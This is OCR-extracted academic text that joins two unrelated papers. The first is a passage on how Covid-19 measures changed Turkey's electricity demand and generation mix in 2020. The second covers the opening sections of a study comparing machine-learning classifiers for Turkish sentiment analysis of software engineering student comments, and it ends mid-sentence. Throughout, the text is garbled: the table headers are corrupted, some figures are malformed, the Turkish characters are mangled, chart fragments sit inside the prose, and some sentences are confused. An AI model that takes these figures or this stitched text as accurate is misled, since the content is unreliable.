examined. Examined subjects are as well as the change in electricity generation due to quarantine
measures and their impact on energy resources. And after the Covid-19 process, it was studied that
because of the measures were taken the people in the changes occurring form of new life, with the
change of social life that how effects Turkey's energy consumption. Turkey's electricity consumption
habits according to the same month of the previous year, and used resources has been studied, on the
electricity production and consumption of this period, effects have been studied.

2. Methods And Data Sources

This data evaluation and information extraction study was prepared by gathering publicly available
data published by various sources. It aims to reveal the effects of the measures taken during the Covid-
19 period and the change in social life on electricity generation and consumption. The data used in this
study are taken on the public web of EMRA (Energy Market Regulatory Authority), EPIAS (Turkish
Energy Exchange), TEIAS (Turkish Transmission System Operator), TEIAS Load Dispatch Center,
TEDAS (Turkish Distribution System Operator) [8]-[12]. The graphics in this study have been
obtained using the public resources of these institutions.

3. Overview Of Development Of Turkey's Electrical Power Capacity

With the increase in population, Turkey's economy is growing faster, it also brings in the development
of industry and leads to constantly increasing energy demand. To sustain the development of the
country and to meet the increasing demand for electricity energy; quality, continuous, cheap, and
reliable energy resources are needed. Turkey does not have enough potential in terms of hydrocarbon
reserves. However, it has many resources in terms of hydraulic power plants and has great potential in
terms of renewable energy sources such as solar and wind due to its geographical location. This
potential makes it even more attractive to use renewable energy potential in electricity generation. The
fact that Turkey is among the emerging economies in the world, electricity consumption in developing
countries due to the continuous increase of the population is expected to increase for many years.

Generally, The amount of energy consumed per capita is used as a measure of the development and
welfare level of the countries. When developed countries are evaluated from this point of view, it is
seen that the average energy consumption of OECD in European countries is approximately 6500
kWh/person and annual energy consumption per person is 10.000 kWh/year. As shown in Figure 2,
the electricity consumption per capita gross Turkey 3700 kWh/year and net consumption of about
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2855 kWh/year. Electricity consumption per capita, when considering Turkey's development
assessment process, it is clear that demand increased steadily in the coming years (Figure 1).
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Figure 1 The change of the per capita gross electricity consumption in Turkey.
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Figure 2 Changes to the years of Turkey's electricity generation capacity.

Turkey's electricity production capacity is increasing every year despite showing a slowdown in the
growth rate in recent years. As seen as in Figure 2, Turkey's electricity installed capacity increased by
3.07% compared to 2018 and reached 91 267 MW at the end of 2019. Distribution of energy resources
of Turkey's total generated electrical energy by the end of 2019; 28.38% are natural gas-based power
plants with a capacity of 25,902.3 MW, 31.2% are hydraulic power plants with a capacity of 20,642.5
MW and river power plants with a capacity of 7,860.5 MW. The share of coal in electricity production
capacity of Turkey; 11.07% was lignite-based power plants with a capacity of 10.101 MW, and 9.82%
was imported coal-based power plants with a capacity of 8.966.9 MW.
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Figure 3 The change of Turkey's electricity installed capacity by years based on resources.
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As of the end of 2019, 48.7% of the total installed power was effectuated by power plants producing
from renewable energy sources, and their total installed power capacity reached 44,405 MW. The
renewable installed capacity is hydraulic power plants with 31.2%, wind power plants with 8.32%,
solar power plants with 6.57% and geothermal power plants with 1.66%.

In 2000, Turkey's total wind power-based electricity production was 33.4 MW, reached 21317.6 MW
capacity at the end of 2019 [13]. Turkey's electricity production capaci ty based on solar cells;
Although the capacity value was zero in 2013, the capacity of solar power plants reached 10,794 MW
at the end of 2019 (Figures 3 and 4). Turkey in wind power, although with a capacity of one third of
Germany, based on the capacity of solar cell has a value of about one-fifth of Germany [14].

IMPORTED LQUID
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8966.9; 313.6; 0.34% WASTE;

361.8; 0.40%
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BIOMASS;
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Figure 4 Turkey's electricity installed capacity (MW), according to sources at end of 2019.

The generation of electricity from wind energy in Turkey began 20 years ago, besides, within a few
years of electricity from solar energy has shown rapid growth. Also, an important step has been taken
to generate electricity from geothermal and bioenergy-based renewable sources. Electricity generation
from renewable sources such as wind, solar and geothermal shows a rapid increase every year.
Turkey's electricity demand to rise despite the continuous, whereas after 2017 due to the overall global
economic recession has slowed. In Turkey, about 300 billion kWh per year in gross electricity demand
is realized. Turkey in 2018, was realized as gross electricity demand with an increase of 2.5% to 304.8
billion kWh (Figure 5).
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Figure 5 Changes in Turkey's electricity gross demand and peak demand values.

However, Turkey's gross electricity production reached 303.8 billion kWh according to provisional
data at the end of 2019. Although electricity demand has decreased by 1 billion kWh compared to the
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previous year due to the general economic recession in the world; Turkey's energy usage is expected
to increase 50% over the next decade. In 2019, when we look at the distribution of resources of
Turkey's electricity production; 20% from imported coal, 17% from domestic coal, 18% from natural
gas, 29.2% from hydroelectric sources, 7% from wind energy, 3.5% from solar energy, 2.7% one from
geothermal energy and 1.5% from other sources (Figure 6).
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Figure 6 The distribution of the energy resources of Turkey's gross electricity generation in 2019.

Generating electricity from wind and solar power generation in Turkey, as can be seen from the Figure
6 is in constant increase. In the future, the majority of Turkey's electricity production with hydropower
plants are not unlikely to be obtained from renewable energy sources. Turkey’s electricity generation
from various renewables containing dam type hydroelectric between 2000-2018 is in Figure 7.
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Figure 7 Turkey’s electricity generation from various renewables including dam type hydros between 2000-2018
years.

4. Covid-19 Effects On Turkey Power Generation

Due to the country's emerging class of Turkey, in the periods outside crisis periods shows a steady
upward trend in total electricity consumption. Turkey in the last three years (2017, 2018 and 2019) of
electrical energy, when the gross production of months to examine the change in the last three years
on the basis of all months except for one or two months, it is observed that compared to the same
month of the previous year each year (Figure 8).
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Figure 8 Turkey monthly change in the last three years of gross electricity production.

As expected, the total electricity consumption of the country started to increase rapidly in 2020, and
the total electricity production in the first month of the year reached approximately 26.1 billion kWh
with an increase of 3.91 percent compared to the same period of the previous year. Similarly,
electricity consumption rose to 24.1 billion kWh in February 2020, with an increase of 5.98 percent
compared to the same month of the previous year. This increase, which took place at the beginning of
2020, when we came to March, the increase in electricity demand started to stop due to the quarantine
measures taken with the effect of the first case on March 11, 2020. With the effect of the measures
taken in the Covid-19 process, the total electricity consumption in March 2020 was 23.6 billion kWh
with a decrease of -0.56%. After that, electricity consumption in Turkey in April and May showed a
rapid decline and electricity consumed near 19 billion kWh in April and 19.5 billion kWh in May.
These values indicate a 15.5% decrease compared to 22.6 billion kWh consumption in April 2019 and
a 16.4% decrease compared to 24.1 billion kWh consumption in May 2019 (Table 1).

Table 1 In the last three years with 7-month gross electricity production and exchange on a monthly the previous
two years of electricity generation in 2020 by the Covid-19 process in Turkey.

Month Prozdtzllcstion Prozdtzllcgtion Prozdtzlzctiion Change by 2019 (%) | Change by 2018 (%)
Jan 25867,41 26058,60 26124,05 3,91 0,99
Feb 22780,05 23522,12 24159,49 5,98 6,06
March 24123,98 24843,57 23690,83 -0,56 -1,80
April 2272498 22560,96 19079,35 -15,56 -16,04
May 22966,98 24176,75 19.577,41 -16,48 -14,76
June 22791,62 24258,08 22467,32 -2,61 -1,42
July 29589,09 28789,66 28773,61 -0,06 -2,76
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Figure 9 Change of 6-month gross electricity generation in 2020 compared to the same month of the last three
years in Turkey.
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Figure 10 Turkey's monthly gross electricity production of 6-month change in 2020 compared to the same month
0f 2019.

Turkey's monthly gross electricity production of his first 7 months of 2020, compared with the last
three months of the year Covid-19 electricity production process is clearly evident in some of the
changes. Accordingly, with the month of March, when the first incident occurred, electricity
generation started to decrease compared to 2019, and this decline reached peaks of -15.56% and -
16.48% in April and May, and the downward trend lost pace with the normalization step in June

(Figures 9 and 10).

5. Electricity Consumption And Source Change of Production in The Covid-19 Period

When the electricity consumption in the following weeks with the week of March 11, 2020, when the
first Covid-19 case was observed, demand decreased rapidly, the full quarantine measures continued
to decrease until the week of June 1, 2020, when the normalization process was decided, and
electricity consumption with the week containing this date It is observed that it started to increase

again (Figure 11).
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Figure 11 According to the maximum demand forces in March 2017-2019, Changing of daily peak demand
power in March 2020.

Weekly Percent Change (HYD) values in electricity consumption were between 11th and 15th weeks
when the first case was seen, March 11, 2020, and HYD1 = -19.3 between the 15th and 18th weeks,
and the HYD2 = -0.37 between the weeks 15 and 18. After this week, electricity consumption has
increased by 9% for 3 weeks and between the 18th week and the 20th week, HYD3 = 9.3. Then,
electricity consumption started to decline again, and between the 18th and 20th week, HYD4 = -13.3.
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Turkey's electricity demand between 19% decrease of 15th week marks the 11th week, between the
11th week in 22nd week showed itself as a demand reduction of 23% ( Figures 12 and 13).
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Figure 12 Turkey's electricity production in the weeks of between March-June 2020.
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Figure 13 Covid-19 due to the decrease in electricity production in Turkey in 2020, changes that up to June 1,
2020 ceased to full quarantine.
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Figure 14 Comparison of the electricity consumption amount of subscribers in March 2020, when the first
Covid-19 case was seen, with the March 2019 values.

Compared to the March 2019 values of the subscriber-based electricity consumption in March 2020,
when the first Covid-19 case was observed, electricity consumption in residential and industrial areas
increased in both amount and percentage, while a decrease of approximately 4%, corresponding to the
amount of 792 million kWh of electrical energy in business enterprises (Figure 14). While the first
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case did not affect industrial production on March 11, 2020, when it appeared, household electricity
consumption increased by 105 million kWh with stay-at-home warnings, and it was observed that
electricity consumption decreased due to the decrease in work or partial work in business enterprises.

Agricultural 1.55
2.23 m2019(%) m2020(%)
Lighting
Business
Residential
Industry -

45.01

Figure 15 Comparison of the share of electricity consumption per subscriber in total consumption in March
2020, when the first Covid-19 incident was seen, with the March 2019 values.

According to the data that includes the analysis of electricity consumer behavior, household electricity
consumption was shown in April compared to March, when the curfew began, while electricity
consumption in businesses decreased. When looking at only March 2020, no significant change was
observed based on lighting, while there was a 4.1% decrease in demand in businesses. Besides, with
the effect of "stay at home" practices, an increase of 1.2% in domestic electricity consumption and 3%
in industrial electricity consumption occurred (Figure 15). However, a consumption change directly
proportional to the Covid-19 process is not observed in general lighting consumption.
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Figure 16 The change of resources used in the 8-month electricity generation in 2020 in the Covid 19 process.

The quarantine measures implemented with the start of the Covid-19 process have also been effective
in the resources used in electricity generation. As can be seen in Figure 16, with the increase in the
share of hydraulic power plants in electricity generation, electricity generation in coal power plants
has decreased at an opposite rate to complement each other. Covid-19 process March starting in 2020
caused by falling consumption until July 2020 Turkey in the decline in the total gross power
generation, there is provided by decreasing the production of power plants based on natural gas for
welding (Figure 17).

When the fossil fuels used in electricity production are analyzed, it is observed that the share of
natural gas decreased by 7% in March 2020 from 17% in 2019 to 10%, from 13% in April to 8% and
from 12% in May. The biggest change in electricity generation occurred in natural gas (Figure 17). In
the Covid-19 process, the share of coal (asphaltite, lignite, hard coal and imported coal) used in
electricity production in 2020 was compared with the values of 2019 monthly, the share in electricity
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generation did not change significantly, and its share in electricity generation was higher in June 2020,
when the normalization process started (Figure 18).
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Figure 17 Comparison of the share of natural gas used in electricity generation in 2020 in the Covid 19 process,
monthly with 2019 values.
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Figure 18 Comparison of the share of coal (asphaltite, lignite, hard coal and imported coal) used in electricity
generation in 2020 in the Covid-19 process with 2019 values on a monthly basis.

The production of hydroelectric power plants, which are based on water revenues, increased in this
period (Figure 19). Besides, between March 2020, when the decrease in electricity consumption
occurred, and July 2020, the production of renewable energy power plants based on solar energy was
not affected, and production increases due to capacity increase occurred (Figure 20).
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Figure 19 Comparison of the share of hydroelectric used in electricity generation in 2020 with the monthly
values of 2019 in the Covid-19 process.

Covid-19 period, Turkey's total gross electricity between the decline occurred as the March
2020 July 2020 months in consumption, while the fall in electricity production from
renewable energy plants based on wind power despite the annual capacity increase is thought
to be due to the connected wind energy exchange of meteorological phenomena (Figure 21).
Looking at the distribution of the resources of Turkey's electricity production in 7 months of
2020, generally it is seen as being unaffected by Covid-19 process of electricity generation
based on renewable energy sources.
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Figure 20 Comparison of the share of solar power plants used in electricity generation in 2020 in the Covid 19
process with the monthly values of 2019.
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Figure 21 Comparison of the share of wind power plants used in electricity generation in 2020 in the Covid19
process, monthly with 2019 values.

6. Results And Recommendations

Due to the restriction of social and economic activity caused by the coronavirus outbreak it seems to
be a decrease in Turkey's electricity demand. Although isolation practices throughout Turkey with the
administration's restaurants, followed by cafes and other small businesses closing instructions, the
economic activities in the country after staying in grocery stores and pharmacies are open and have
declined sharply and this has affected the electricity consumption by lowering direction. During this
period, some businesses started to consume more electrical energy, but the electrical energy they
consume decreased as most of them had to stop or slow down their businesses. March 11, 2020, from
the date shown in the new type of coronavirus country, the electricity consumption growth trend began
residential subscribers in Turkey. On account of the measures taken against the coronavirus epidemic,
with the effect of the increase in the rate of working from home and staying at home, electricity
consumption in business centers decreased, while the increase in electricity consumption in residential
groups continued to show its effect in April after March.

If the low levels of electricity consumption in countries continue, it will negatively affect the
production of fossil fuel plants due to limited production and reduced incomes. However, in terms of
solar, wind, hydraulic and other renewable power plants, since the electricity produced by them is first
sent to the grid, they have no obstacles to their operation, as a result, the penetration of renewable
energy in the electricity grids will reach the highest levels. Analysis of electricity consumption trends
in countries due to the Covid-19 process has had significant effects on behavioral changes in the short
and long term.
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Abstract

The focus of this study is to provide a model to be used for the identification of sentiments of comments about
education and profession life of software engineering in social media and microblogging sites. Such a pre-trained
model can be useful to evaluate students’ and software engineers’ feedbacks about software engineering. This
problem is considered as a supervised text classification problem, which thereby requires a dataset for the training
process. To do so, a survey is conducted among students of a software engineering department. In the classification
phase, we represent the corpus by using conventional and word-embedding text representation schemes and yield
accuracy, recall and precision results by using conventional supervised machine learning classifiers and well-
known deep learning architectures. In the experimental analysis, first we focus on achieving classification results
by using three conventional text representation schemes and three N-gram models in conjunction with five
classifiers (i.e., naive bayes, k-nearest neighbor algorithm, support vector machines, random forest and logistic
regression). In addition, we evaluate the performances of three ensemble learners and three deep learning
architectures (i.e. convolutional neural network, recurrent neural network, and long short-term memory). The
empirical results indicate that deep learning architectures outperform conventional supervised machine learning
classifiers and ensemble learners.

Keywords: sentiment analysis, software engineering, machine learning, text mining, deep learning

Yazihim Miihendisligi Alaninda Tiirk¢e Duygu Analizi
Oz

Bu ¢alismanin amaci, sosyal medya ve mikroblog sitelerinde yazilim miithendisliginin egitim ve meslek yagamiyla
ilgili yorumlarin belirlenmesinde kullanilacak bir model saglamaktir. Bu tiir dnceden egitilmis bir model,
6grencilerin ve yazilim miihendislerinin yazilim miihendisligi hakkindaki geri bildirimlerini degerlendirmek i¢in
yararli olabilir. Bu problem, egitim siireci i¢in bir veri kiimesi gerektiren bir metin siniflandirma problemi olarak
kabul edilmistir. Veri kiimesini olusturmak i¢in, yazilim miihendisligi bolimii 6grencileri arasinda bir anket
yapilmistir. Stniflandirma asamasinda, geleneksel ve kelime yerlestirme metin gosterme semalarini kullanilarak
ve geleneksel denetimli makine 6grenimi siniflandiricilart ve iyi bilinen derin 6grenme mimarilerini kullanilarak
dogruluk sonuglart saglanmistir. Deneysel analizde, dncelikle bes siniflandirici (Naive Bayes, k-en yakin komsu
algoritmasi, destek vektdr makineleri, rastgele orman ve lojistik regresyon) ile birlikte i¢ geleneksel metin temsil
semasi ve ilic N-gram modeli kullanarak dogruluk sonuglar1 elde edilmistir. Buna ek olarak, iki ensemble
algoritmasi ve {i¢ derin §grenme mimarilerinin (convolutional neural network, recurrent neural network, and long
short-term memory) performanslarin1 degerlendirilmistir. Ampirik sonuglarda derin 6grenme mimarilerinin
geleneksel denetimli makine 6grenimi siniflandiricilarindan ve ensemble algoritmalarindan daha iyi performans
gosterdigi tespit edilmistir.

Anahtar Kelimeler: duygu analizi, yazilim mithendisligi, makine 6grenme, metin madenciligi, derin
O0grenme

1. Introduction

In today’s world, the enormous quantity of information is generated by users from all over the world
with the developments in communication technologies on web. Social networks and microblogging
websites are the main sources for people to share commonly for exchanging observations, thoughts,
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feedbacks and comments about any kind of review. This generated informative data can be in many
forms such as image, text, sound, video and so on.

The user-generated text documents include many type of reviews such as product reviews, film reviews,
hotel reviews, educational opinion reviews and profession reviews. In all these sources sentiments exist
frequently. So it has become popular to extract sentiments out of user-generated text documents.
Sentiment analysis in text is a process of identifying and classifying the views of users from text
documents into different sentiments, such as, positive, negative and neutral [1]. This extracted
informative knowledge can be very useful source to be used for decision support systems and individual
decision makers [2].

The feedbacks composed of behaviors and comments of students and professionals about software
engineering in social networks and microblogging websites can play an important role to inform people
who seeks to find out useful insights about software engineering education and professional life. Thus,
the automated extraction of these feedbacks in social networks and microblogging websites becomes a
prominent task to accomplished. Sentiment analysis can be employed to find out useful insights to be
used for recognizing students’ and professionals’ feedbacks on education and work life of software
engineering.

In this paper, we present a machine learning based approach for sentiment analysis on software
engineering students’ feedbacks about software engineering education and professional life. To do so,
we analyze a corpus composed of 4,896 student reviews in Turkish with the use of conventional text
representation schemes for conventional classifiers and word embedding models for deep learning
architectures. In the experimental analysis, we use three conventional text representation schemes (i.e.,
term-presence, term-frequency, TF-IDF) and three N-gram models (1-gram, 2-gram and 3-gram) in
conjunction with the five classifiers (i.e., naive bayes, k-nearest neighbor algorithm, support vector
machines, random forest and logistic regression). We also evaluate the classification performances of
three ensemble learners (i.e., AdaBoost, Bagging and Voting). In addition, we utilize three deep learning
architectures (i.e. convolutional neural network, recurrent neural network, and long short-term memory)
using Keras and pre-trained Word2vec word vector representations to compare their predictive
performance to conventional machine learning classifiers. To do best of our knowledge, this is the first
labeled dataset generated in Turkish for the identification of sentiments of comments about education
and profession life of software engineering domain in social media and microblogging sites.

The rest of this paper is structured as follows: In Section 2, related works are presented. In Section 3,
the methodology of the study is introduced (namely, dataset collection process, feature engineering and
classification algorithms). In Section 4, experimental procedure and the empirical results are presented.
Finally, Section 5 concludes the paper and provides a projection for further studies on this topic.

2. Related Works

In literature, sentiment analysis is employed to identify information about software engineering in
several areas such as technical contents (issues and commit messages) and crowd-generated contents
(forum messages and users’ reviews) [3].

Sentiment analysis can be used to extract information from developers’ expressions in issues and
committed messages. Guzman et al. [4] focused on sentiment extraction of the developer-written
comments in GitHub. They found that developers have higher positive comments when they work in
projects having more distributed teams. On the contrary, the comments written on Mondays by the
developers indicate more negative sentiments. Sinha et al. [5] extracted sentiments from the comments
written in 28,466 projects. Based on the results, most of the comments classified as neutral. In addition,
the comments written on Tuesdays by the developers indicate more negative sentiments. Ortu et al. [6]
used the dataset JIRA [7], composed of 560K issue comments committed by the developers, to analyse
the effectiveness of sentiments in comments for issue fixing time. As a result, they found that the issues
related the positive comments tend to have shorter fixing time. In contrast, the issues related the negative
comments tend to have longer fixing time.

297



Sakarya University Journal of Computer and Information Sciences

Mansur Alp Tocoglu

The extraction process of the sentiments from the users’ reviews and forum messages play an important
role in the evaluation process of the software applications. Goul et al. [8] focused on detecting
bottlenecks in requirement engineering by employing sentiment analysis over 5,000 reviews. Carreno
et al. [9] used a model unifying aspects and sentiments together to detect topics out of reviews of the
applications. In addition, they also extracted users’ opinions from the detected topics. Guzman et al.
[10] employed SentiStrength [11] for detect topics out of reviews of the applications and extracting
users’ opinions from the detected topics. Panichella et al. [12] classified users’ reviews in three
sentiment categories (namely, neutral, positive, and negative) by using Naive Bayes classifier. In the
study [13], the authors focused on analysing sentiments on tweets related to software projects. Calefato
et al. [14] presented a sentiment analysis classifier named Senti4SD to be used for extracting the
developers’ sentiments in communication channels. To do so, first they constructed a dataset from Stack
Overflow questions, answers, and comments to be used for the training phase. After that, they manually
validated the raw dataset. Senti4SD classifier utilizes from lexicon-based features, keyword-based
features and semantic features based on word embedding. In the paper [15], the authors proposed a
sentiment joint model framework to be used for analyzing user reviews automatically for product feature
requirements evolution prediction. The joint model is constructed by combining supervised Long Short-
term Memory based Recurrent Neural Network and unsupervised hierarchical topic model.

In literature, sentiment analysis is also used in several studies for identifying sentiments from Turkish
text. Saglam et al. [16] focused on constructing a sentiment lexicon for Turkish which is composed of
37K words. The new lexicon is tested on a domain independent news dataset and the accuracy
performance of the lexicon is calculated as 72.2%. Bayraktar et al. [17] proposed a holistic method to
be used in Turkish for aspect-based sentiment analysis. The proposed method is based on statistical,
linguistic and rule-based approaches. For evaluation phase, they used a Turkish restaurant dataset which
is constructed within the scope of SemEval Aspect Based Sentiment Analysis 2016. They achieved
52.05% accuracy and 56.28% f-score values. Rumelli et al. [18] applied lexicon-based methods and
machine learning algorithms together to perform automated sentiment annotation in Turkish text. They
achieved 73% accuracy rate as sentiment analysis result of the proposed model. In the study [19], the
authors focused on sentiment analysis on Turkish shopping and movie websites. They compared the
classification performances of the traditional machine learning algorithms and recurrent neural networks
arhitectures. Karcioglu and Aydin [20] focused on extracting sentiments from Turkish and English
twitter posts collected from Twitter. They investigated the performances of BOW and Word2Vec
models using Linear Support Vector Machine and Logistic Regression. Ayata et al. [21] applied
sentiment analysis on four different sector tweets (namely banking, football, telecom and retail). To do
so, they vectorized the datasets with word embedding model and achieved accuracy rates of 89.97%,
84.02%, 73.86% and 63.68% for all sectors in sequence using Support Vector Machine and Random
Forests classifiers.

3. Methodology

This section presents the methodology of the study. Namely, the dataset collection, pre-processing,
feature extraction, classification algorithms, ensemble learners and deep learning architectures have
been briefly presented.

3.1 Dataset Collection and Preprocessing

In this study, we conducted a survey among sophomore and senior students in the Software Engineering
Department at Manisa Celal Bayar University in Turkey. In this survey, the students are asked to write
five positive and five negative comments for software engineering education and profession life. In total,
349 sophomores and 185 seniors attended in this survey. Here, we assumed the comments obtained from
senior students as the source of the knowledge for work life for software engineering since all seniors
do direct internship in software companies in the last semester of their education life. As a result of this
survey, we managed to create a dataset named Software Engineering Survey Dataset (SESD) (the dataset
can be downloaded from http://mansurtocoglu.cbu.edu.tr/). Table 1 shows the distribution of the
comments collected among the students. A total of 5,242 documents are collected. 2,614 of these
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documents are labeled as negative and the rest 2,628 documents are labeled as positive. To validate the
dataset, we conducted an annotation process where two annotators annotated each document one by one.
As the result of this annotation process, we eliminated 346 documents which are not labeled the same
by two annotators. We calculated the Cohen’s kappa (K) metric as 0.97 which indicates a perfect
agreement among the annotators [22], [23].

Table 1 The Distribution of the Comments in SESD
# of comments before annotation # of comments after annotation

5,242 (2,614 negative)( 2,628 positive) 4,896 (2,306 negative)( 2,590 positive)

In the preprocess stage, we preprocessed SESD to use in the classification phase. In the first step, we
converted all letters to lowercase and removed all punctuation marks, numeric characters, and extra
spaces. Next, we identified stems of each word in the dataset. To do so, we used Snowball-stemmer
(SS) algorithm [24]. At last, we removed stop-words by using the Turkish language stopword list
provided in Python natural language toolkit [25].

3.2 Feature Extraction Schemes

N-gram modelling is a popular feature representation scheme for language modelling and natural
language processing tasks. An n-gram is a contiguous sequence of n items from a given instance of text
document. In this scheme, items may be phonemes, syllables, letters, words or characters. In natural
language processing tasks, word-based n-grams and character n-grams have been widely utilized. N-
gram of size 1 has been referred as “unigram”, N-gram of size 2 has been referred as “bigram” and N-
gram of size 3 has been referred as “trigram”. To model comments, we utilized word-based n-gram
models, where unigrams, bigrams and trigrams have been taken into consideration.

In the vector space model (VSM), we have considered three different schemes to represent comments,
namely, term presence-based representation (TP), term frequency-based representation (TF) and term
frequency - inverse document frequency (TF-IDF) based representation. In term frequency-based
representation, the number of occurrence of words in the documents have been counted, namely, each
document has been represented by an equal length vector with the corresponding word counts. In term
presence-based representation, presence or absence of a word in a given document has been utilized to
represent text documents. In TF-IDF representation two major equations are multiplied together which
are term frequency and inverse document frequency. The inverse document frequency is calculated by
taking the logarithm of the equation which is, the number of the total documents within the dataset,
divided by the document frequency of the related term.

The conventional text representation schemes, such as TP, TF and TF-IDF, are not able to identify
semantic relationships between components in text. In addition, conventional text representation
schemes have shortcomings due to high dimensionality and sparsity of feature vector [26]. Recently,
neural language models have been successfully employed on natural language processing tasks [27]. In
contrast to conventional text representation, neural language models repsesent words in low dimensional
spaces by using distributed learning representation [28]. These models focus on capturing similarities
between words and providing dense representation of documents with semantic properties with less
manual preprocessing.

3.3 Classification Algorithms

In the classification stage, we used both conventional supervised machine learning algorithms (i.e.,
naive bayes, k-nearest neighbor algorithm, support vector machines, random forest and logistic
regression) and well-known deep learning architectures (namely, convolutional neural network,
recurrent neural network and long short-term memory networks).

Naive Bayes algorithm (NB) is a probabilistic classification algorithm based on Bayes’ theorem. It has
a simple structure due to the assumption of conditional independence. Despite its simple structure, it
can be effectively utilized in a wide range of applications, including text mining and web mining [29].
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Support vector machines (SVM) are supervised learning algorithms that can be utilized to solve
classification and regression problems. They can be applied effectively to classify both linear and non-
linear data [30]. Support vector machines build a hyperplane in a higher dimensional space to solve
classification or regression problem. The hyperplane aims to make a good separation by achieving the
largest distance to the nearest training data points of classes (known as functional margin).

Random Forest (RF) is a supervised learning algorithm, combining bagging algorithm and random
method of subspace [31]. Decision trees were used as the base learning algorithm in this algorithm. Each
tree was constructed based on training data bootstrap samples. A random selection of features was used
to provide the variety among the base learners. In response, the model can yield promising learning
models on datasets with noisy or irrelevant data.

K-nearest neighbor (KNN) is a learning algorithm for supervised learning tasks, including classification
and regression tasks [32]. In this scheme, the class label for an instance has been determined based on
the similarity of the instance to its nearest neighbors in the training set. In this scheme, all the instances
have been stored and at the time of classification, the class label has been identified based on the
examination of the k-nearest neighbors.

Logistic regression (LR) is a supervised learning algorithm. The algorithm provides a scheme to apply
linear regression to classication tasks. It employs a linear regression model and transformed target
variables have been utilized to construct a linear classication scheme [32].

Convolutional Neural Network (CNN) is type deep neural networks which is widely used in image and
video recognition, recommender systems and natural language processing. CNN architecture composes
of layers which are embedding, convolution, pooling, flattening and fully connected artificial neural
network [33].

Recurrent Neural Network (RNN) is a type of feedforward artificial neural network which can handle
variable-length sequence inputs [34]. Unlike traditional feedforward neural networks, RNN uses
feedback loops to process sequences in order to maintain memory over time. In the traditional RNN
algorithm, recurrent units have very simple structures that have no memory units and additional gates.
There is only a simple multiplication of inputs and previous outputs, which is passed through the
corresponding activation function. RNN is applicable to tasks of unsegmented, connected handwriting
recognition or speech recognition.

Long Short Term Memory (LSTM) is an artificial neural network. Unlike simple RNN, an LSTM
recurrent unit contains gates, which are used to maintain memory for long periods of time [35].

3.4 Ensemble Learners

Ensemble learning refers to the process of combing the predictions of multiple supervised learning
algorithms and treating the algorithms as a committee of decision makers [36]. Ensemble learning
schemes seek to identify a more accurate classification model. In this study, we used the ensembles of
the five supervised learning algorithms with two well-known ensemble learning methods which are,
AdaBoost and Bagging.

AdaBoost Algorithm

AdaBoost is an ensemble learning algorithm based on boosting [37]. The base learning algorithms were
trained sequentially in the algorithm and at each round a new learning model was built. The weight
values allocated to misclassified samples will be increased at each round, while the weight values
allocated to properly categorized cases will be reduced. In reaction, the algorithm aims to devote more
rounds to cases that are more difficult to learn and to compensate for classification mistakes produced
in previous models.
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Bagging Algorithm

Bagging (Bootstrap aggregating) [38] is another technique of constructing the ensemble. In this system,
from the initial training set by bootstrap sampling, distinct training subsets were acquired. The
projections produced by the 1 algorithms of base learning were combined with the use of majority
voting.

4. Experimental Procedure and Results

In this section, experimental procedure and experimental results have been presented.

4.1 Experimental Procedure

In the empirical analysis, we utilized 10-fold cross validation in all cases. In the empirical analysis, three
different feature extraction methods (namely, TF, TP and TF-IDF weighting schemes) and three N-gram
models (unigram, bigram and trigram) have been considered in conjunction with five conventional
machine learning classifiers (namely, naive bayes, k-nearest neighbor algorithm, support vector
machines, random forest and logistic regression) and two ensemble learners (namely, AdaBoost and
Bagging). We also achieved results of Voting ensemble learner by ensembling the four classifiers
(namely, SVM, NB, LR and RF). In these experiments, we considered using feature size value as 1,000.
In addition, the performances of three well-known deep learning architectures (namely, convolutional
neural network, recurrent neural network, and long short-term memory) are compared to each other and
to conventional machine learning classifiers. In the experiments based on deep learning architectures,
the dataset is represented by using Keras and Word2vec [39] embedding layers. We used the Word2vec
pre-trained word representation model which is created from a Turkish corpus named Turkish CoNLL17
with a vocabulary size of 3.6M [40]. We used manual tuning for hyper-parameters for all machine
learning algorithms. Unless otherwise stated, we stemmed each term using Snowball-stemmer in all
experiments.

Figure 1 shows the comparison of accuracy values of five different machine learning algorithms based
on two forms (raw and labeled) of SESD dataset. In the classification process of this empirical
experiment, TF-IDF weighting scheme is used as feature extraction method. Regarding the two forms
of SESD dataset, the performance of the most classifiers, using labeled form of the dataset, provided
higher results than using the raw form of SESD. These results indicate that, annotation process of the
SESD dataset increased the results in the empirical experiments as noisy documents are eliminated.
Therefore, we used the labeled form of SESD for the remaining experiments.
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0.6
SVM NB LR RF KNN

Raw M Labeled

Figure 1 Comparison of Accuracy Values of Five Different Machine Learning Algorithms Based on Two Forms
of SESD Dataset

Figure 2 shows the comparison of the accuracy values of five different machine learning algorithms

based on the three different conventional text representation schemes (namely, TF-IDF, TF and TP)
using unigram model. In all cases, the results obtained by using TF-IDF weighting scheme slightly

301



Sakarya University Journal of Computer and Information Sciences

Mansur Alp Tocoglu

outperformed the other schemes indicating that considering document frequency of each feature enhance
the accuracy performances.
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Figure 2 Comparison of the Accuracy Values of Five Different Machine Learning Algorithms Based on Three
Different Conventional Feature Extraction Methods

Figure 3 presents the performance comparison of the three N-gram models (namely, unigram, bigram
and trigram) in conjunction with five machine learning classifiers. SVM and LR classifiers provided the
highest accuracy results among all classifiers in all N-gram models. In contrast, KNN algorithm
performed the lowest classification results. Regarding the predictive performance between all three N-
gram models, the utilization of unigram for feature set slightly outperformed the other two models.
Therefore, we decided to use unigram modeling for the remaining experiments.
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Figure 3 Comparison of Accuracy Values of Five Different Machine Learning Algorithms Based on Three
Different N-gram Models

Table 2 shows the classification results of five machine learning algorithms in terms of accuracy,
precision and recall measurement values using TF-IDF weighting scheme and unigram feature
modeling. We achieved the highest predictive performance as 0.8074 in terms of accuracy by using LR
as the classifier. SVM performed the second highest performance with an accuracy value of 0.8041. In
contrary, we achieved the lowest accuracy value using KNN with a value of 0.6883. Regarding the
precision performance of the classifiers, SVM achieved the highest precision value of 0.8011 which is
followed by RF and LR in sequence. Regarding the recall performance of the classifiers, LR slightly
outperformed the others with a value 0.8463. SVM achieved the second highest recall value which is
followed by NB algorithm. In all cases, KNN algorithm performed the lowest results. This could be due
to high dimensional feature size of the dataset and the elimination of the noisy documents.
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Table 2 Comparison of Accuracy, Precision and Recall Classification Results of Five Different Machine
Learning Algorithms

SVM NB LR RF KNN

Accuracy 0.8041 0.7788 0.8074 0.7802 0.6883
Precision 0.8011 0.7858 0.7950 0.7984 0.7703
Recall 0.8424 0.8027 0.8463 0.7766 0.5748

Figure 4 shows the predictive performances of four machine learning classifiers in conjunction with two
ensemble learners using unigram features in all cases. As it can be observed from the results presented
in Figure 4, we cannot obtain any significant performance enhancement in classification accuracy values
